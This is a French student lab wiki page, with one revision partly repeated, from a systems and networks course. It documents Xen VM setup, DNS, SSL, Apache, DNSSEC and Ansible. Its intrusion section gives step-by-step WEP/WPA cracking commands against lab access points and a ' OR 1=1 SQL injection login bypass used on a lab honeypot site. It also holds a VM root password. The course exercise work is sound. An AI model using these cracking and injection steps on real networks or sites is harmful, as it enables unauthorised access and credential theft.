On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: " \{\{item\}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "\{\{ item \}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58006TP sysres IMA5 2021/2022 G112022-01-12T12:34:13Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
